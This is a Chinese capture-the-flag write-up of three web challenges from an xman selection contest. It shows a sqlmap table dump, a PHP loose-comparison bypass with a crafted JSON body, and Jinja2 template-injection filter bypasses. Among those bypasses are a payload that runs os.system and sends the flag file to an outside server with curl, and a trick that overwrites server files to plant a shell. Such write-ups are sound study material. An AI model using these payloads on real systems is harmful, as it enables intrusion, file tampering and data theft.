xman选拔赛web部分

暑假第一场比赛,做了个web部分,简单写下

NewsCenter

描述:This is to0 s1mple 地址:http://47.96.118.255:8888/

1
sqlmap -u "http://47.96.118.255:33066/" --data "search=2" -D news -T secret_table --dump
blacsheep

Lottery

没有描述... http://47.96.118.255:8888/ 随意看下,发现.git泄漏,githack一下,发现没文件,git log一下然后reset --hard blacsheep 关键代码api.php,看到判断函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
function buy($req){
require_registered();
require_min_money(2);

$money = $_SESSION['money'];
$numbers = $req['numbers'];
$win_numbers = random_win_nums();
$same_count = 0;
for($i=0; $i<7; $i++){
if($numbers[$i] == $win_numbers[$i]){
$same_count++;
}
}
switch ($same_count) {
case 2:
$prize = 5;
break;
case 3:
$prize = 20;
break;
case 4:
$prize = 300;
break;
case 5:
$prize = 1800;
break;
case 6:
$prize = 200000;
break;
case 7:
$prize = 5000000;
break;
default:
$prize = 0;
break;
}
$money += $prize - 2;
$_SESSION['money'] = $money;
response(['status'=>'ok','numbers'=>$numbers, 'win_numbers'=>$win_numbers, 'money'=>$money, 'prize'=>$prize]);
}

容易看到

1
2
3
if($numbers[$i] == $win_numbers[$i]){
$same_count++;
}

然后数据的传入没有做限制,那么我们只要去构造一下json就可以拿到flag,众所周知,弱类型的字符只要不是'0'都等于Bool类型的True,那么构造如下

1
2
3
4
5
<?php
$new = array(True,True,True,True,True,True,True);
$num = array('action' => "buy","numbers"=> $new );
echo json_encode($num);
//{"action":"buy","numbers":[true,true,true,true,true,true,true]}

简单传几次就拿到足够金币,买到flag blacsheep blacsheep 不是很懂那些挂着脚本能拿到flag的人...真是打扰了...

Confusion1

confusion1的描述:One day, Bob said "PHP is the best language!", but Alice didn't agree it, so Alice write a website to proof it. She published it before finish it but I find something WRONG at some page.(Please DO NOT use scanner!) 洞很好找,但绕过确实花了我蛮久的... flask的ssti blacsheep 源码里获得提示:

1
2
<!--Flag @ /opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt-->
<!--Salt @ /opt/salt_b420e8cfb8862548e68459ae1d37a1d5.txt-->

ok,一般来说就直接一波payload打过去,比较经典的就是用object类的子类file来read,但是并不行 blacsheep 类似的过滤的还有class,ls等一些关键的字符串 过滤参考的一篇文章 https://0day.work/jinja2-template-injection-filter-bypasses/ 里面提供了一些bypass 提供一个简单的测试脚本

1
2
3
4
5
6
7
8
9
10
import requests
import re
while 1:
temp=input()
r=requests.get("http://47.96.118.255:2333/{{"+temp+"}}")
res=re.findall(r'The requested URL .+ was not found on this server',r.text)
if res:
print(res[0].replace('<','<').replace('>',">").replace(''',"'"))
else:
print(r.text)

简单测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
request
The requested URL /<Request 'http://47.96.118.255:2333/{{request}}' [GET]> was not found on this server
request["__clas"+"s__"]
The requested URL /<class 'flask.wrappers.Request'> was not found on this server
request["__clas"+"s__"].__bases__
The requested URL /(<class 'werkzeug.wrappers.Request'>, <class 'flask.wrappers.JSONMixin'>) was not found on this server
request["__clas"+"s__"].__bases__[0].__bases__
The requested URL /(<class 'werkzeug.wrappers.BaseRequest'>, <class 'werkzeug.wrappers.AcceptMixin'>, <class 'werkzeug.wrappers.ETagRequestMixin'>, <class 'werkzeug.wrappers.UserAgentMixin'>, <class 'werkzeug.wrappers.AuthorizationMixin'>, <class 'werkzeug.wrappers.CommonRequestDescriptorsMixin'>) was not found on this server
request["__clas"+"s__"].__bases__[0].__bases__[0].__bases__
The requested URL /(<type 'object'>,) was not found on this server
request["__clas"+"s__"].__bases__[0].__bases__[0].__bases__[0]
The requested URL /<type 'object'> was not found on this server
request["__clas"+"s__"].__bases__[0].__bases__[0].__bases__[0]["__subcla"+"ss__"]
The requested URL / was not found on this server
request["__clas"+"s__"].__bases__[0].__bases__[0].__bases__[0]["__subcla"+"sses__"]
The requested URL /<built-in method __subclasses__ of type object at 0x7ff87ae16c40> was not found on this server
request["__clas"+"s__"].__bases__[0].__bases__[0].__bases__[0]["__subcla"+"sses__"]()[40]
The requested URL /<type 'file'> was not found on this server
request["__clas"+"s__"].__bases__[0].__bases__[0].__bases__[0]["__subcla"+"sses__"]()[59].__init__.__getattribute__('func_global'+'s')['linecache'].__dict__.values()[12].__getattribute__('s'+'ystem')('curl http://119.28.22.85/`tac /opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt`')
The requested URL /0 was not found on this server

blacsheep 然后vps上拿到flag blacsheep subclasses之前一直打成subclass,心疼自己...吃了没文化的亏orz... 这里也记录一个小彩蛋吧,打request的时候发现request里面有个file成员

1
2
request['environ']["wsgi.errors"]
The requested URL /<open file '<stderr>', mode 'w' at 0x7ff87b04c1e0> was not found on this server

那么我们可以干什么呢?我们可以调用这个成员的__init__函数,将这个文件进行重打开,之后的文件就可以任意写了,本地测试一下 payload

1
http://127.0.0.1:5000/?name={{request['environ']['wsgi.errors'].__init__('./app.py','w')}}

blacsheep 然后我们就可以看到本地的app.py被覆盖了 blacsheep 如果某个目录还有个php服务你就可以去写个php的shell,不过直接访问会被转义掉字符,用burp抓一下就不会了 blacsheep 测试的app.py文件

1
2
3
4
5
6
7
8
9
10
11
from flask import Flask, render_template_string, request

app = Flask(__name__)

@app.route('/')
def index():
name = request.args.get('name')
template = '<h1>hello {}!<h1>'.format(name)
return render_template_string(template)

app.run(host='0.0.0.0')

比较有意思,不过当天比赛的时候很迷,每次我一写文件(并不是写的app.py,当时是随意写的一个123.php),服务器就直接宕机...可还行... 最后一道web没看,晚上服务器反正又宕机了,不是我打的...之后再说吧..

后记

环境已经关闭了,复现看他们开不开源吧,最后一道web又是python反序列化,老生常谈的问题了,这里放一下官方wp:https://www.xctf.org.cn/library/details/8723e039db0164e2f7345a12d2edd2a5e800adf7/ 然后第三个web他们绕过比我的简单,他们是调用的其它参数来获取的,payload如下

1
{{''.[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?a=__class__&b=__mro__&c=__subclasses__&d=read